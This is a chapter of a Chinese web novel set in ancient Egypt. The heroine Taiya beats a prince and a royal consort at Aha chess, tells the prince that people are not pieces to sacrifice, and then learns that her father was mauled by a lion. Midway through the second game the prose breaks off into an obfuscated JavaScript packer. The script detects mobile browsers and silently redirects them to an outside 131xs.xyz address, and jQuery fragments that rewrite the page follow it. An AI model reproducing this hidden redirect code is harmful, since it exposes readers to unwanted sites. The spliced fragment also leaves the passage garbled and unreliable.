泰雅看着孔斯帕克赫鲁德将自己的兵冲了上来。对方大概是想要和她较量一下计算能力,不过她依然很感谢他。若对手不给面子,再完美精致的方案也跟废纸没两样。
她按照自己设想的那样,毫不犹豫地驱使自己的车挺进,落到第七行,将军。这最后一辆车会为她打开黑方城堡的大门,就算黑方将军近在咫尺也是如此。
如果孔斯帕克赫鲁德足够聪明,那么他就决不能接受白方弃车。因为他解决白车的唯一手段就是动用黑后,接着,泰雅就会用自己的白将吃掉同行的黑方士兵,再度形成将军的局面。在这个可能性上,孔斯帕克赫面鲁德只能让他的王撤退,白将依然可以实现追击将军。然后,黑方用祭司垫王,白方上斥候继续将军,黑方仍然只能选择撤王。这个时候,黑王已经被逼进棋盘的角落,而白将依然可以继续追击将军。黑王已经无路可走,因为白色斥候也在虎视眈眈。王子的失败近在咫尺。
王子也没斟酌太久,因为这其实是个很简单的陷阱。他移动了自己的王,而这步本应是他上步应走的棋(会导致他们的棋局流于平淡,但对于王子来说,平局比失败要好些)。
这没什么大不了的,因为黑王还在白将的攻击范围之内。泰雅用自己的白将,吃掉对方的士兵,形成将军。
这个时候王子陷入了沉默。
或许他可以让自己的黑将更进一步,进行垫王,但那样他的黑色斥候就会失守。泰雅可以毫不费力地用白将转而吃掉那只斥候,再度将军。黑方只能又把黑将垫回来保护国王,相当于白跑一趟。在这个选择之下,双方子力的差距被进一步放大,白方可以封锁住黑方的进攻势头,杀棋的威胁不可避免。
王子考虑了很久,但没什么结果。他拿起自己的黑王——就和泰雅设想的线路之一一样——吃掉了她的斥候。
泰雅冲兵将军,黑王只能继续逃跑。这个时候,黑王被逼到了一个非常危险的角落。
她挪动了自己的黑车,将它挺进到同行棋盘的最左侧,与黑王同一列,不过中间隔着一个黑色士兵。
这步棋把孔斯帕克赫鲁德吓了一跳。泰雅猜他会认为白方会用将继续进攻,那种招数当然也可行,但是如果把全局都放入考虑的话,移动黑车,主动放出位于占据中央的白兵的破绽效果更好。
王子现在拿这枚战车没有任何办法,他唯一的机会就是用祭司或者斥候杀死那只没有保护的白兵,以占据中场在行行动。
照泰雅看来,黑方用祭司攻击的效果会更好,但这依然逃避不了失败的命运。她可以先用白将下移造成将军的错觉,黑方会动用自己的资源盯住她靠近白王的白兵,并防止白将下一步进攻,但在那之后会发生什么呢?
泰雅会将自己的白将上移,从上方对黑王进行将杀。王子唯一的应对方式就是用黑将处理掉这个突如其来的威胁,但它能挡住白将,却挡不住那枚潜伏已久的白车。白车会前进吃掉面前的黑子。黑王无路可走,因为它的逃跑路线已经被她的白子堵住,被白车杀死已成定局。
说实话,这局面完美地让泰雅产生自我怀疑,但她想破脑袋也想不到黑方能赢的可能。她迟疑地抬头看了看孔斯帕克赫鲁德。
她很久没看过他了,不由地被孔雀王子的状态吓了一跳。孔斯帕克赫鲁德已经不是之前从容的模样,他咬着大拇指,脸色苍白似床褥。
他考虑了很久,最后用黑马去吃了中心的白子。
那事情就变得更简单了。泰雅有些遗憾自己的假动作攻势策略没有用上。
她用自己的白车吃掉面前的黑子,形成将军。王子只能调动黑将吃掉白车,保护黑王。不过这样占据中心的黑色斥候就对她的白王有了些威胁。于是泰雅选择撤回白将,拦在黑色斥候的必经之路上。
王子继续挺进他的斥候。这显然是一种弃子战术,目的是让后方的黑车获取进攻机会,但这样的战术只是失败之前的挣扎。
弃子也分有效弃子和无效棋子。
泰雅吃掉那枚送到嘴里的斥候。果然,王子令车向下挺进,将杀白王。泰雅轻描淡写地将白王向斜前方移动一格。
就在这个时候,王子停住了,事实上,他就像一尊雕塑那样只坐着沉思,久久没有动棋。
因为黑车追击的下一步就会招致白将的绞杀。黑方其余的棋子再也无法阻止有效的进攻,因为白象已经完全控制了进攻的必经之路。
孔斯帕克赫鲁德响应她挑战的爽快令人钦佩,但这挽救不了危局。
她说:“恕我直言,王子,您该认输了。”
“认输?”孔斯帕克赫鲁德抬起头,表情迷茫。
“您也可以不那么做。”室内的气氛一片紧张,但泰雅仍然表示,“那只是一种风范。”
俗话说失败乃成功之母。棋类运动尤其如此,如果一次失败都没有反而是件糟心事。
王子没有回应,他拿起棋子,选择继续。泰雅选择配合,但结局是肯定的。他的攻击没能起到任何效果,最后只能看着自己的黑车被围困在原地。
“很精彩。”
孔斯帕克赫鲁德伸手拿起他的王,没有过多犹豫便把它放到棋盘的一边。
他的脸上依然挂着笑容,但这次疲惫很多,而且他看她的目光也不一样了,带着很多深究。
“我输得心服口服。”
“瞎琢磨的三脚猫功夫。”
“不用谦虚,”王子点了点旁边的黑色战车,“你将弃子战术用得出神入化。我研究了好久才明白这一战术,但水平远远比不上你。”
泰雅正在思索如何把这彩虹屁应对过去,但孔斯帕克赫鲁德很快就用言语浇灭了那点好感。
“真遗憾。如果你是个男人的话,我很乐意把你纳入麾下。”
图雅立刻笑出声来,不过语气没那么和善。“王子可真实诚,在我面前说这种话。”
“做人就该诚实些。我想王妃您也是这么教育孩子的。”
虽然图雅没有明说,但泰雅也知道,她得表明自己的立场。
“感谢您的赞美。”她轻描淡写地将之前的话带过,紧接着就是她表态度的时间,“但恕我直言,下棋和治国完全不是一码事。”
这句话绝不掺假。事实上,泰雅认为一个人下棋水平的高低最直接体现出的是这个人的计算推演能力,而这和政治素养及政治底线不能说毫无关联,只能说风马牛不相及。
说得再直白点,拿思维训练的成绩到政坛上说事,看人家政客拿不拿你当敌方漏勺开涮就成了。
把两者混在一起的孔斯帕克赫鲁德是什么?她不好说,主要是害怕自己说的话太难听。
王子眯起眼睛,略带好奇地开口:“愿闻其详。”
没人可以判定人命的贵贱,包括你我,包括所有人。人命从不是可以随意用来牺牲的东西。
当然,这番言论她只能在心底讲讲。因为在这个冷酷的时代,她周边的人大都相信有些人天生高人一等,国王的孩子会是王侯将相,而其他人不过是个任由他们挥霍的数字。
“阿哈棋不过是游戏,而活生生的人不是棋子。”
她冷淡地告诉他,省略去了那些在这个时代不政治正确的内容,但依然保留了攻击性。
“任何相信世界仅仅是一场棋局的人,除了失败,别无他途。”
王子端详了他好一会儿,才开口讲道:“王子妃果然思维敏捷。”
他的笑容很阴郁。泰雅觉得他不一定认可她的说辞,并且把她公然的阴阳怪气视为一种冒犯。
对此,她的态度不会有任何变化。
“我还有些事需要处理,就先告退了。”
王子简单地行了下礼,便带着自己的随从退场。他一走,帐篷里的人顿时少了大半,空的很。泰雅看着那成规模的队伍,只觉得这孔斯帕克赫鲁德派头委实确实不小,有他做对比,他的兄弟们都可用“简朴”来形容。
不知道法老塞提更中意哪边。
在这之后,泰雅又跟图雅王妃来了一局。这次她执黑子。泰雅决定使用法兰西防御,其基本思想是巩固己方王翼,并从两翼执行反击——用不好就成马其诺防线了。
双方进兵之后,形成经典的中心对点局面。在这时,图雅往后选择让白兵更近一步,吃掉在前的黑兵。泰雅抬手再用黑兵将白兵吃掉。棋局来到经典的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256697|182084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兑换变例的情况。在后世,这种情况白方是往和棋去的,不过从刚刚的对局来看,图雅王妃擅长的是活跃子力。
——她希望与我展开对攻,保持复杂的局面,拉开子力的差距进而制造取胜的时机。
泰雅是如此考虑的。
在那之后,她们之间的对局基本你来我往,以活跃子力为主,但在第14步,图雅王妃犯了一个致命的错误。她将王翼的白子向前挺进。这削弱了白子在中心线上的强度,而且没有任何补偿,属于严重的战略失误。她应该将自己的王向里移动一位,虽然有些局促,但依然能够组织防守。
泰雅立刻抓住这个失误,调动棋子向这防御薄弱的中心线发动攻击。很快,图雅王妃也意识到自己的错漏,但在第19步,这条中心线就已经是黑方的天下,白方由于活动空间严重受到挤压,不得不开始将自己的斥候撤出。
王妃依然希望守住这条线路,因为这是通往白王的门户,但在她组织防御的时候,这条通路已经盘踞了黑方两个战车,它们身后还有一位黑将。同时,黑方调动斥候从后翼对白方发动攻击。如果白方进兵吃掉这枚斥候,黑方就可以靠着重要棋子灵活的位置,用将、祭司和战车从后翼发动进攻。在这种情况下,黑方只需要两步就可以将杀。
图雅注意到之后的问题,没有立刻用白兵吃掉这枚斥候。她选择调用祭司阻击。接着,泰雅继续展现法兰西防线的战术理念,王翼用战车进攻,后翼则用黑将进攻。双管齐下,让白方应接不暇,只能与她频繁交换棋子以进行防守。
第37步,黑白战车互换,但泰雅从中获得了一个重要的通路兵——它就在那条由于王妃失误而失守的线上,唯一能威胁它的白将还被黑色祭司盯住。白方必然不肯在黑方还存在将的时候,就将自己的大棋拱手奉上,但对局是很残酷的。
王妃看着棋局,轻轻地开口:“从我玩阿哈棋以来,还没有人这样赢过我呢。”
“我有很多的时间研究这东西。”泰雅说,“只要多花点时间钻研,总能玩的不差。”
图雅王妃笑了笑,然后拿起她的王,隔着棋盘,把那枚棋子递给她。“你赢了,好姑娘,这场游戏是你的了。”
泰雅接过那枚棋子,不知道要说什么才好。或许她做的太过了?她说不太准,因为王妃脸上的笑容很微妙,主要是欣赏,但泰雅也不认为王妃有多么喜欢她——图雅的脸上毫无喜色。
“你很聪明,正如孔斯帕克赫鲁德所说。”图雅平静地讲道,“但有些时候,不让人察觉到你的智慧才是真的聪明。”
这话说得别有深意。至此,泰雅才想到一种可能。王妃会不会是故意放出破绽,以探查她的反应,就类似于她对孔斯帕克赫鲁德做的那样。
不过就算如此,泰雅也对自己的选择毫无悔意,有点轴的人设对她没有坏处。她点点头,郑重地开口。“感谢您的指导。”
“我没有指导你什么。”王妃温柔地说,然后命令旁边的侍女将棋盘收好,她打算玩一玩战车棋换换脑袋。
事实证明,王妃的运气也很好,与她的棋艺不相上下,很快就在战车棋中拿到了优势。
泰雅也发挥稳定,继续达成六回合不出车的伟大成就。
在第七回合,她成功掷出了六,但游戏却没能进行下去。
“法老回来了!”这是戴瑟匆忙赶来的第一句话。
这没什么大不了的,只是时间早了点。
“努尔大人!大人他、他被狮子咬了!手臂上那么大个口子!”
戴瑟一面说,一面比划伤口的大小——客观上来说,泰雅觉得她比划的半人高大小很不现实,但她下面的话也足够让泰雅眼前一黑了。
“医生说只能截去,否则会有性命之忧!”
泰雅反射性扔下手中的棋子,站起身来向外赶。她走了两步,回头向王妃行礼。“殿下,请容我暂且告退。”
图雅上前扶住她,说:“都什么时候了还在乎这些礼节?我也去瞧瞧。”
王妃说得很轻巧,但泰雅知道,这其中有一半算是客套。不过她现在也没时间纠结这些细节,她只希望自己的父亲不会被人当做弃子。